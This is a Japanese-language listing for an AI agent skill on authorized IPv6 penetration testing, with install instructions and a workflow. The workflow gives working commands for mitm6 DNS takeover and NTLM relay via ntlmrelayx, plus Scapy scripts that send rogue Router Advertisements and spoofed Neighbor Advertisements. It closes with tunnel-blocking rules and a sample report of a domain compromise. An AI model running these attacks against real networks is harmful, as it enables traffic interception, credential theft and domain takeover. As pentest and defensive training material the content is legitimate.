exploiting-ipv6-vulnerabilities について
許可を得た IPv6 ペネトレーションテスト向けのセキュリティスキルです。ネットワーク探索、攻撃手法、トンネル検出、ファイアウォール検査を扱い、範囲と安全上の制約も示します。
主な機能
- 01IPv6 ホストの探索
- 02SLAAC とルーター広告の検証
- 03近隣探索のなりすまし検査
- 04IPv6 トンネルの検出
- 05ファイアウォールと IDS/IPS の評価
活用シーン
- 01IPv4 と IPv6 のセキュリティ制御を比較
- 02ネットワーク内の未管理 IPv6 を評価
- 03RA Guard と IPv6 ファイアウォールを検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-ipv6-vulnerabilitiesインストール後、Claude Code で/exploiting-ipv6-vulnerabilitiesを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
IPv6 の脆弱性の悪用
使用する状況
- デュアルスタックネットワークで、IPv4 と IPv6 のトラフィックに一貫したセキュリティ制御が適用されているかテストする場合
- IPv4 のみが公式にサポートされているネットワークで、管理されていない IPv6 によるリスクを実証する場合
- SLAAC および Router Advertisement の仕組みを悪用して、IPv6 経由の中間者攻撃を実行する場合
- IPv6 に対応したファイアウォールルールと、IPv6 固有の攻撃パターンに対する IDS/IPS の検知をテストする場合
- IPv4 のみを対象とするセキュリティ制御を回避する IPv6 トンネリングプロトコル(6to4、Teredo、ISATAP)を特定する場合
書面による許可なく本番ネットワークで使用しないでください。IPv6 の妨害によって安全上の問題が生じる可能性のあるシステムや、ネットワークインフラストラクチャに対するサービス拒否攻撃にも使用しないでください。
前提条件
- IPv6 テストの範囲と承認済みの手法を明記した書面による許可
- THC-IPv6 toolkit、Scapy、mitm6 をインストールした Kali Linux
- 対象ネットワークセグメント上で IPv6 をサポートするネットワークインターフェース
- IPv6 アドレス指定、SLAAC、NDP、Router Advertisement に関する知識
- IPv6 トラフィックをキャプチャして分析するための Wireshark
ワークフロー
ステップ 1:ネットワーク上の IPv6 を列挙する
# Check if IPv6 is enabled on the local interface
ip -6 addr show
# Discover IPv6 hosts on the local link using multicast
ping6 -c 3 ff02::1%eth0
# ff02::1 = all-nodes multicast address
# Use alive6 from THC-IPv6 toolkit to discover hosts
sudo alive6 eth0
# Scan for IPv6-enabled hosts with Nmap
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0
# Check for Router Advertisements on the network
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = Router Advertisement
# Use radvdump to capture existing RAs
sudo radvdump
# Check for DHCPv6 servers
sudo dhclient -6 -v eth0 --request-only
ステップ 2:mitm6 で SLAAC ベースの MITM 攻撃を実行する
# mitm6 exploits the default behavior of Windows machines to request
# IPv6 configuration via DHCPv6 when a Router Advertisement is seen
# Start mitm6 to become the IPv6 DNS server
sudo mitm6 -d example.com -i eth0
# mitm6 performs the following:
# 1. Sends Router Advertisements to enable IPv6 on victims
# 2. Responds to DHCPv6 requests, assigning itself as DNS server
# 3. Victims now send DNS queries to the attacker over IPv6
# 4. Attacker can respond with spoofed DNS replies
# Combine with ntlmrelayx for credential relay
sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot
# This exploits:
# 1. WPAD (Web Proxy Auto-Discovery) via DNS
# 2. Windows sends NTLM authentication to the WPAD proxy
# 3. ntlmrelayx relays the credentials to target servers
ステップ 3:Router Advertisement のスプーフィング
#!/usr/bin/env python3
"""Rogue Router Advertisement for authorized IPv6 testing."""
from scapy.all import *
from scapy.layers.inet6 import *
# Craft a Router Advertisement packet
# This makes the attacker appear as the default IPv6 router
iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)
ra = (
Ether(dst="33:33:00:00:00:01") / # All-nodes multicast
IPv6(src=attacker_ipv6, dst="ff02::1") /
ICMPv6ND_RA(
routerlifetime=1800, # Advertise as router for 30 min
prf=1, # High preference
M=0, # No managed flag (use SLAAC)
O=1 # Other config via DHCPv6 (DNS)
) /
ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
ICMPv6NDOptPrefixInfo(
prefix="2001:db8:dead::", # Rogue prefix
prefixlen=64,
L=1,
A=1,
validlifetime=3600,
preferredlifetime=1800
) /
ICMPv6NDOptRDNSS(
dns=[attacker_ipv6], # Attacker as DNS server
lifetime=1800
)
)
print(f"[*] Sending rogue Router Advertisement from {attacker_ipv6}")
print(f"[*] Advertising prefix 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA packets sent. Victims will configure IPv6 with rogue prefix.")
ステップ 4:IPv6 Neighbor Discovery 攻撃
# Neighbor Advertisement spoofing (IPv6 equivalent of ARP spoofing)
# Using THC-IPv6 parasite6 tool
sudo parasite6 eth0
# Or craft with Scapy
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *
# Spoof Neighbor Advertisement to redirect traffic
target_ipv6 = "2001:db8::50" # Victim IPv6 address
gateway_ipv6 = "2001:db8::1" # Gateway IPv6 address
attacker_mac = get_if_hwaddr("eth0")
# Tell the victim that we are the gateway
na = (
Ether(dst="33:33:00:00:00:01") /
IPv6(src=gateway_ipv6, dst="ff02::1") /
ICMPv6ND_NA(
tgt=gateway_ipv6,
R=1, S=0, O=1 # Router flag, Override flag
) /
ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
)
print("[*] Sending spoofed Neighbor Advertisements...")
sendp(na, iface="eth0", count=100, inter=1)
PYEOF
# Detect NDP spoofing with ndpmon
sudo ndpmon -i eth0
ステップ 5:IPv6 トンネルの検出と悪用
# Detect Teredo tunnels (IPv6 over UDP port 3544)
sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst
# Detect 6to4 tunnels (protocol 41)
sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst
# Detect ISATAP tunnels
sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10
# Scan for Teredo-enabled hosts
nmap -6 -sU -p 3544 --open 10.10.0.0/24
# Test if IPv6 tunnels bypass IPv4 firewall rules
# If Teredo is allowed, IPv6 traffic can bypass IPv4-only firewalls
curl -6 http://[2001:db8::50]:8080/ # Access via IPv6 tunnel
# Block unwanted IPv6 tunnels at the firewall
# iptables: block protocol 41 (6to4, ISATAP) and Teredo
sudo iptables -A INPUT -p 41 -j DROP
sudo iptables -A OUTPUT -p 41 -j DROP
sudo iptables -A INPUT -p udp --dport 3544 -j DROP
sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP
ステップ 6:IPv6 ファイアウォールルールをテストして記録する
# Verify ip6tables rules are in place
sudo ip6tables -L -n -v
# Test if IPv6 firewall mirrors IPv4 rules
# Common oversight: IPv4 firewall is strict, IPv6 is wide open
nmap -6 -sS -p- <target_ipv6_address>
# Compare IPv4 and IPv6 scan results
nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan
nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan
diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap)
# Check for IPv6 RA Guard on the switch
# Cisco: show ipv6 snooping policies
# If not enabled, document as finding
# Clean up: stop all IPv6 attack tools
sudo killall mitm6 parasite6 2>/dev/null
主な概念
| 用語 | 定義 |
|---|---|
| SLAAC(ステートレスアドレス自動設定) | DHCP サーバーを使わず、Router Advertisement からホストが自動的にアドレスを設定する IPv6 の仕組みです。不正な RA の注入によって悪用される可能性があります |
| Router Advertisement(RA) | ネットワークプレフィックス、デフォルトゲートウェイ、DNS 設定を通知する、ルーターからの ICMPv6 メッセージです。不正な RA によって MITM 攻撃が可能になります |
| NDP(Neighbor Discovery Protocol) | アドレス解決、ルーター検出、重複アドレス検出に ICMPv6 を使用する、ARP に代わる IPv6 のプロトコルです。スプーフィングに対して脆弱です |
| mitm6 | Windows が DHCPv6 を優先する性質を悪用して IPv6 DNS サーバーになり、DNS スプーフィングや NTLM 認証情報のリレーを可能にするツールです |
| RA Guard | 不正な Router Advertisement をフィルタリングし、許可されていないホストが IPv6 ルーターとして動作するのを防ぐ、スイッチレベルのセキュリティ機能です |
| IPv6 トンネリング | IPv6 パケットを IPv4 内にカプセル化する方式(6to4、Teredo、ISATAP)です。IPv4 のみを対象とするセキュリティ制御やファイアウォールを回避できる場合があります |
ツールとシステム
- mitm6:SLAAC と DHCPv6 を悪用して Windows ホスト向けの DNS サーバーになる IPv6 MITM ツールです
- THC-IPv6 Toolkit:alive6、parasite6、fake_router6、フラッドツールなどを含む、包括的な IPv6 攻撃ツールキットです
- Scapy:カスタムの ICMPv6 Router Advertisement パケットや Neighbor Discovery パケットを作成するための Python パケット操作ツールです
- ndpmon:不正な RA や NDP スプーフィングを検出する IPv6 Neighbor Discovery Protocol モニターです
- Nmap:マルチキャスト検出や IPv6 固有のスクリプトなど、IPv6 を全面的にサポートするネットワークスキャナーです
よくあるシナリオ
シナリオ:IPv4 のみの企業ネットワークで、管理されていない IPv6 を悪用する
状況:ある企業は社内ネットワークで公式には IPv4 のみを使用していますが、Windows ワークステーションでは IPv6 がデフォルトで有効になっています。社内ペネトレーションテスト中、テスターは VLAN 上で IPv6 が有効であり、IPv6 セキュリティ制御(RA Guard、IPv6 ACL)が導入されていないことを発見します。
アプローチ:
- すべての Windows ワークステーションがリンクローカル IPv6 アドレスを持ち、ルーター広告を待ち受けていることを確認します
- mitm6 を実行して DHCPv6 応答を送信し、VLAN 上のすべての Windows ホストに対する IPv6 DNS サーバーになります
- ntlmrelayx を設定して、WPAD によってトリガーされる NTLM 認証をドメインコントローラーに中継します
- 5 分以内に 12 台のワークステーションから NTLM 認証情報を取得して中継し、ファイル共有へのアクセス権を獲得します
- ドメイン管理者の NTLM ハッシュの中継に成功し、新しいドメイン管理者アカウントを作成します
- IPv6 セキュリティ制御の欠如により、従来型の脆弱性を悪用せずにドメインを完全に侵害できたことを記録します
- IPv6 が不要な場合は無効化し、スイッチに RA Guard を導入し、ファイアウォールで DHCPv6 をブロックするよう推奨します
注意点:
- ルーター広告を大量に送信すると、一部のデバイスで不安定さが生じることがあります
- mitm6 は標的だけでなく、VLAN 上のすべての Windows ホストに影響します。影響を受ける可能性のあるすべてのホストが対象範囲に含まれていることを確認してください
- IPv6 に依存するサービス(SCCM、一部の Azure サービス)を利用している環境では、IPv6 が妨げられるとサービスが停止することがあります
- 別の攻撃経路となり得る IPv6 トンネリングプロトコルの確認を忘れないでください
出力形式
## IPv6 Security Assessment Report
**Test ID**: IPV6-2024-001
**Target Network**: VLAN 10 (10.10.10.0/24, no official IPv6)
**Assessment Date**: 2024-03-15
### IPv6 Discovery
| Finding | Details |
|---------|---------|
| IPv6 Enabled Hosts | 147/150 workstations (Windows default) |
| Link-Local Addresses | Active on all discovered hosts |
| Router Advertisements | None detected (no IPv6 router) |
| DHCPv6 Server | None present |
| RA Guard | NOT configured on switches |
| IPv6 Firewall Rules | NONE (ip6tables empty) |
### Attack Results
| Attack | Result | Impact |
|--------|--------|--------|
| mitm6 DNS Takeover | SUCCESS | Became IPv6 DNS for 147 hosts |
| WPAD NTLM Relay | SUCCESS | Captured 23 NTLM authentications |
| Domain Admin Relay | SUCCESS | Created rogue domain admin account |
| IPv6 Port Scan | SUCCESS | All ports open (no ip6tables rules) |
### Recommendations
1. Deploy RA Guard on all access-layer switches (Critical)
2. Configure IPv6 ACLs mirroring IPv4 firewall rules (Critical)
3. Disable DHCPv6 client via Group Policy where IPv6 is not needed
4. Block IPv6 tunneling protocols (6to4, Teredo) at the firewall
5. Deploy IPv6-aware IDS rules for NDP spoofing detection
コメント
Markdown 対応